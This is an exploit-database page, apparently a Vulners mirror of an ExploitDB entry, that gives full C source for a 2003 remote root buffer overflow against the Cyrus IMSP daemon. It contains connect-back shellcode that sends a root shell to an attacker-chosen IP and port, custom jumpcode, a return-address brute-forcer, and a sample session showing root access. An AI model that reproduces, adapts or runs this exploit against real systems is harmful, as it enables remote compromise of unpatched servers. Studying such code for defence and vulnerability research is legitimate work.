Lucene search
K

Cyrus IMSP Daemon 1.x - Remote Buffer Overflow

🗓️ 15 Dec 2003 00:00:00Reported by Carlos BarrosType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 20 Views

Cyrus IMSP Daemon 1.x has a remote buffer overflow flaw allowing unauthorized system access.

Code
// source: https://www.securityfocus.com/bid/9227/info

A problem has been identified in the Cyrus IMSP Daemon implementation when handling certain types of requests. Because of this, it may be possible for a remote attacker to gain unauthorized access to a system using the vulnerable software. 

/*
** Cyrus IMSPD Remote Root Exploit
** -------------------------------
**
** Bug found by: Felix Lindner <[email protected]>
** Exploit coded by: Carlos Barros <barros [at] barrossecurity d0t com>
**
** Exploitation techinique:
**
** As said by Felix Lindner, the bug lies in the "abook_dbname" function. To cause
** the overrun, we must call this function with a long "name" variable. It can be
** acomplished by supplying the FETCHADDRESS command. This command takes 2 parameters.
** The first one is exactly the "name" var. So, to cause the overflow, we must just
** send the FETCHADDRESS command with an overlong argument.
** To cause the overflow is easy, but using it to execute arbitrary commands is not
** so easy. It is because IMSPd filters all characters that is grather than 0x80.
** Well, put the shellcode is not the problem, cause IMSPd does not filter the args
** after the second one, so, the Shellcode goes in the third arg. The problem is that
** the address of the buffer where the shellcode is placed contains chars grather than
** 0x80 and we can not supply this addr. Well, how it can be done??? After some time
** of research, I found that the address of the buffer where the "name" var is placed
** does not contains these characters (at least on my box). So, I manange my buffer
** to overwrite the EIP with this address. But there is another problem: I can not write
** my shellcode here. Again, after some time, I got the solution. Looking at the stack
** after the overflow, I found the address of the buffer where the shellcode was placed.
** So, I coded a Jumpcode to get this addr from the stack, add some offset to the shellcode
** and jump there. There was a dificult task once the RET opcode is 0xc3 and I can not
** place the code in the buffer. To circumvent it. I overflowned the EIP and the next
** four bytes with the same value. This way, when I get the control, I know where I am.
** With this ability, I can take this value, add some offset and make and ADD at this
** location to turn an 0x45 in an 0xc3, RET.
** Well, this is how I have acomplished this task. As you can see, there two possibilities
** of success. You can be lucky and found a system that the address os shellcode does not
** have invalid chars or the name addr too. Anyone of this will do the task.
**
** Well, that is all. Sorry for my poor english (I am brazilian), I am tired to correct it.
** I hope one can improve this code to be more reliable, but for now, it is not so BAD.
**
** Screenshot:
**
**  Hardcoded:
**
** SpikE@VermE imsp]$ ./a.out -t 0 -h localhost
**
** ==[ Cyrus IMSPd Remote Root Exploit ]==
**
** *** Target plataform      : IMSPd 1.7 - Red Hat Linux release 8.0 (Psyche)
** *** Target host           : localhost
** *** Target port           : 406
** *** Bind to port          : 31337
** *** Target RET            : 0x08065368
**
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
** [+] Yeap.. It is a root shell
**
** Linux VermE.com.br 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
** cat /etc/issue
** Red Hat Linux release 8.0 (Psyche)
** Kernel \r on an \m
**
** exit
** [SpikE@VermE imsp]$
**
**  Bruteforce:
**
** [SpikE@VermE imsp]$ ./a.out -h localhost -b
**
** ==[ Cyrus IMSPd Remote Root Exploit ]==
**
** *** Target host           : localhost
** *** Target port           : 406
** *** Bind to port          : 31337
** *** Bruteforce mode start : 0x08065357
**
** [+] Using RetAddr = 0x08065357
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x0806535b
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x0806535f
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x08065363
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x08065367
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x0806536b
** [+] Connected
** ** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
** [+] Yeap.. It is a root shell
**
** Linux VermE.com.br 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
** cat /etc/issue
** Red Hat Linux release 8.0 (Psyche)
** Kernel \r on an \m
**
** exit
** [SpikE@VermE imsp]$
**
**
*/

#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>

/*--< Prototypes >--*/
void Usage(char *);
void fatal(char *);
int  ConectToHost(char *,int);
char *CreateEvilBuffer(int);
int VerifyXpl(char *, int);
void doHack(int);
int GetNextAddr(int);

/*--< Defines >--*/
#define	DEFAULT_PORT		406
#define DEFAULT_START_ADDRESS	0x8061001
#define BRUTEFORCE		1
#define TARGET			2
#define STDIN 			0
#define STDOUT 			1
#define	ROOT_PORT		31337
#define PORT_OFFSET		29

/*--< From IMSP Source >--*/
char im_table[256] = {
    0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0, 2, 2,
    2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
    2, 7, 0, 7, 7, 6, 7, 7, 2, 2, 6, 7, 7, 7, 7, 7,
    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 0, 7, 7, 7,
    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 2, 7, 7, 7, 2,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
};
#define isqstr(c)  (im_table[(unsigned char)(c)]&2)
/*--< END >--*/

struct
{
	char	*Name;
	int	Retaddr;
}Targets[] =
	{
		"IMSPd 1.7 - Red Hat Linux release 8.0 (Psyche)",
		0x8065368,

		"IMSPd 1.6a3 - Red Hat Linux release 8.0 (Psyche)",
		0x8061d78,
                
		"IMSPd 1.5a6 - Red Hat Linux release 8.0 (Psyche)",
                0x8061738,
		// Finish
		0,
		0
	};

// Shellcode by eSDee of Netric
char Shellcode[] =
	"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
	"\x06\x51\xb1\x01\x51\xb1\x02\x51"
	"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
	"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
	"\x68\x41\x42\x43\x44\x66\x68\xb0"
	"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
	"\x10\x53\x57\x52\x89\xe1\xb3\x03"
	"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
	"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
	"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
	"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
	"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
	"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
	"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
	"\x2f\x62\x69\x89\xe3\x50\x53\x89"
	"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
	"\x01\xcd\x80";

// Jumpcode bY Carlos Barros
char JmpToShellcode[] =
	"\x41"				// nop like
	"\x41"				// nop like
	"\x41"				// nop like
	"\x41"				// nop like
	"\x41"				// nop like
	"\x41"				// nop like
	"\x41"				// nop like

	"\x58"				// pop %eax
	"\x6a\x7e"			// push $0x7e
	"\x5b"				// pop %ebx
	"\x01\x58\x23"			// add %ebx,0x22(%eax)
	"\x58"
	"\x58"				// pop %eax
	"\x58"				// pop %eax
	"\x58"				// pop %eax
	"\x58"				// pop %eax
	"\x58"				// pop %eax
	"\x58"				// pop %eax
	"\x58"				// pop %eax
	"\x58"				// pop %eax
	"\x6a\x7e"			// push $0x7e
	"\x58"				// pop %eax
	"\x01\x44\x24\x04"		// add %eax,0x4(%esp,1)
	"\x01\x44\x24\x04"		// add %eax,0x4(%esp,1)
	"\x58"				// pop %eax

	"\x45"				// ret
	"\x45"				// ret
	"\x45"				// ret
	"\x45"				// ret
	"\x45"				// ret
	"\x45"				// ret
	"\x45"				// ret
	"\x45"				// ret

        "\x41"                          // nop like
        "\x41"                          // nop like
        "\x41"                          // nop like
        "\x41"                          // nop like
        "\x41"                          // nop like
        "\x41"                          // nop like
        "\x41"                          // nop like

        "\x58"                          // pop %eax
        "\x6a\x7e"                      // push $0x7e
        "\x5b"                          // pop %ebx
        "\x01\x58\x23"                  // add %ebx,0x22(%eax)
        "\x58"
        "\x58"                          // pop %eax
        "\x58"                          // pop %eax
        "\x58"                          // pop %eax
        "\x58"                          // pop %eax
        "\x58"                          // pop %eax
        "\x58"                          // pop %eax
        "\x58"                          // pop %eax
        "\x58"                          // pop %eax
        "\x6a\x7e"                      // push $0x7e
        "\x58"                          // pop %eax
        "\x01\x44\x24\x04"              // add %eax,0x4(%esp,1)
        "\x01\x44\x24\x04"              // add %eax,0x4(%esp,1)
        "\x58"                          // pop %eax

        "\x45"                          // ret
        "\x45"                          // ret
        "\x45"                          // ret
        "\x45"                          // ret
        "\x45"                          // ret
        "\x45"                          // ret
        "\x45"                          // ret
        "\x45";                         // ret

struct STACK
{
	char	name[132];
	int	eip;
	int	ID;
	int	Name;
	int	Acl;
};

int main(int argc, char **argv)
{
	extern  char		*optarg;
	extern  int		optind;
		char		opt;
		char		*Host = NULL;
		int		Port = DEFAULT_PORT;
		int		Flags = 0;
		int		StartAddress = DEFAULT_START_ADDRESS;
		int		TargetNumber = 0;
		int		Sock,rootSock,i;
		char		*EvilBuffer;
		int		CBackPort = 0;
		char 		Addr[20];
		int		IP0 = 0,IP1 = 0,IP2 = 0,IP3 = 0;
		char		*IPPtr,*CBackPortPtr;
		unsigned short *PortPtr = (unsigned short *)(Shellcode+39);

	fprintf(stdout,"\n==[ Cyrus IMSPd 1.7 Remote Root Exploit ]==\n\n");

	// Process arguments
	while ( (opt = getopt(argc,argv,"h:t:p:ba:r:i:")) != EOF)
	{
		switch(opt)
		{
			case 'i':
				if( sscanf(optarg,"%d.%d.%d.%d" ,&IP3,&IP2,&IP1,&IP0) != 4)
					Usage(argv[0]);
				IPPtr = optarg;
			break;
			case 'r':
				CBackPort = atoi(optarg);
				if(!CBackPort) Usage(argv[0]);
				CBackPortPtr = optarg;
			break;
			case 'h':
				Host = optarg;
			break;
			case 'p':
				Port = atoi(optarg);
				if(!Port) Usage(argv[0]);
			break;
			case 'b':
				if(Flags == 0)
					Flags = BRUTEFORCE;
				else
					Usage(argv[0]);
			break;
			case 'a':
				if( sscanf(optarg,"0x%lx",&StartAddress) != 1)
					Usage(argv[0]);
			break;
			case 't':
				TargetNumber = atoi(optarg);
				if(Flags == 0)
					Flags = TARGET;
				else
					Usage(argv[0]);
			break;
			default: Usage(argv[0]);
			break;
		}
	}
	if(Host == NULL || Flags == 0) Usage(argv[0]);
	if(CBackPort == 0) Usage(argv[0]);
	if(IP0 ==0 || IP1 == 0 || IP2 == 0 || IP3 == 0) Usage(argv[0]);

	// Verify target
	for(i=0;;i++)
		if(Targets[i].Name == 0) break;
	if(--i<TargetNumber) Usage(argv[0]);

	// Update shellcode
	Shellcode[33] = IP3;
	Shellcode[34] = IP2;
	Shellcode[35] = IP1;
	Shellcode[36] = IP0;
	*PortPtr = htons((unsigned short)CBackPort);

	if(Flags == TARGET)
		fprintf(stdout,"*** Target plataform      : %s\n",Targets[TargetNumber].Name);
	fprintf(stdout,"*** Target host           : %s\n",Host);
	fprintf(stdout,"*** Target port           : %u\n",Port);
	fprintf(stdout,"*** IP to connect back    : %u.%u.%u.%u\n" ,IP3,IP2,IP1,IP0);
	fprintf(stdout,"*** Port to connect back  : %u\n",CBackPort);

	if(Flags == TARGET)
		fprintf(stdout,"*** Target RET            : %#010x\n\n",Targets[TargetNumber].Retaddr);
	else
		fprintf(stdout,"*** Bruteforce mode start : %#010x\n\n",StartAddress);

	switch(Flags)
	{
		case TARGET:
			Sock = ConectToHost(Host,Port);
			if(Sock == -1) fatal("Could not connect");
			else fprintf(stdout,"[+] Connected\n");

			fprintf(stdout,"[+] Creating evil buffer\n");
			EvilBuffer = CreateEvilBuffer(Targets[TargetNumber].Retaddr);

			fprintf(stdout,"[+] Sending evil buffer\n");

			send(Sock,EvilBuffer,strlen(EvilBuffer),0);
			sleep(1);

			fprintf(stdout,"[+] Wait for root shell on your netcat\n\n");
		break;
		default:
			for(;;)
			{
				fprintf(stdout,"[+] Using RetAddr = %#010x\n",StartAddress);

				Sock = ConectToHost(Host,Port);
				if(Sock == -1) 
				{
					// To avoid stop bruteforce
					fprintf(stdout,"[-] Error. Restarting ...\n\n");
					sleep(1);
					sprintf(Addr,"%#010x",StartAddress);
					execl(argv[0],argv[0],"-h",Host,"-b","-a",Addr,"-i",IPPtr,"-r",CBackPortPtr,0);
				}
				else
				{
					fprintf(stdout,"[+] Connected\n");

					fprintf(stdout,"[+] Creating evil buffer\n");
					EvilBuffer = CreateEvilBuffer(StartAddress);

					fprintf(stdout,"[+] Sending evil buffer\n");
					send(Sock,EvilBuffer,strlen(EvilBuffer),0);
					
					sleep(1);
					close(Sock);
					free(EvilBuffer);
					fprintf(stdout,"\n");

					StartAddress = GetNextAddr(StartAddress);
				}
			}
		break;
	}

	free(EvilBuffer);
	close(Sock);
}

void Usage(char *Prog)
{
	int i;
	fprintf(stderr,	"Usage: %s -h hostname <options>\n\n"
			"Options:\n\n"
			" -t target     : Select the target\n"
			" -p portnumber : Sets a new port number\n"
			" -b            : Bruteforce mode\n"
			" -a address    : Defines the start address to bruteforce (Format: 0xdeadbeef)\n"
			" -i ip         : IP address to connect back\n"
			" -r port       : Defines the port to connect back\n\n"
			"Targets:\n\n",Prog);

	for(i=0;;i++)
	{
		if(Targets[i].Name != 0)
			fprintf(stderr," [%u] %s\n",i,Targets[i].Name);
		else
			break;
	}
	fprintf(stderr,"\n");
	exit(1);
}

void fatal(char *ErrorMsg)
{
	fprintf(stderr,"[-] %s\n\n",ErrorMsg);
	exit(1);
}

int ConectToHost(char *Host,int Port)
{
	struct 		sockaddr_in server;
	struct 		hostent *hp;
	int 		s;

	server.sin_family = AF_INET;
	hp = gethostbyname(Host);
	if(!hp) return(-1);

	memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
	server.sin_port = htons(Port);

	s = socket(PF_INET,SOCK_STREAM,0);
	if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
		return(-1);

	return(s);
}

char *CreateEvilBuffer(int Retaddr)
{
	struct STACK	Buffer;
	char		*Ptr = (char *)&Buffer;
	char		NOPs[3000];
	static char	Buf[sizeof(Buffer)+sizeof(NOPs)+sizeof(Shellcode)+100];
	int i;

	memset(&Buffer,0x41,sizeof(Buffer));
	memset(NOPs,0x90,sizeof(NOPs));

	memcpy(Ptr,JmpToShellcode,sizeof(JmpToShellcode)-1);
	Buffer.eip = Retaddr;
	Buffer.ID = Retaddr;
	Buffer.Name = 0x00;

	NOPs[sizeof(NOPs)-1] = 0;

	sprintf(Buf,"SPK FETCHADDRESS \"%s\" \"SPK\" %s%s\r\n",(char *)&Buffer,NOPs,Shellcode);
	return(Buf);
}

void doHack(int Sock)
{
	char 		buffer[1024 * 10];
	int 		count;
	fd_set 		readfs;

	write(Sock,"uname -a;id\n",12);
	while(1)
	{
		FD_ZERO(&readfs);
		FD_SET(STDIN, &readfs);
		FD_SET(Sock, &readfs);
		if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)
		{
			if(FD_ISSET(STDIN, &readfs))
			{
				if((count = read(STDIN, buffer, 1024)) <= 0)
				{
					if(errno == EWOULDBLOCK || errno == EAGAIN)
						continue;
					else
					{
						close(Sock);
						exit(-1);
					}
				}
				write(Sock, buffer, count);
			}
			if(FD_ISSET(Sock, &readfs))
			{
				if((count = read(Sock, buffer, 1024)) <= 0)
				{
					if(errno == EWOULDBLOCK || errno == EAGAIN)
						continue;
					else
					{
						close(Sock);
						exit(-1);
					}
				}
				write(STDOUT, buffer, count);
			}
		}
	}
}
int VerifyXpl(char *Host, int Port)
{
	struct sockaddr_in server;
	struct hostent *hp;
	int s;

	// Create client struct
	server.sin_family = AF_INET;
	hp = gethostbyname(Host);
	if(!hp)
		return(-1);
	memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
	server.sin_port = htons(Port);
	s = socket(PF_INET,SOCK_STREAM,0);

	if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
		return(-1);
	return(s);
}

int GetNextAddr(int Addr)
{
	Addr+=4;
	for(;;)
	{
		if( !isqstr( (Addr & 0x000000FF) ) ) Addr+=4;
		else if( !isqstr( (Addr & 0x0000FF00) >> 8 ) ) Addr+=4;
		else if( !isqstr( (Addr & 0x00FF0000) >> 16 ) ) Addr+=4;
		else if( !isqstr( (Addr & 0xFF000000) >> 24 ) ) Addr+=4;
		else break;
	}
	
	return(Addr);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation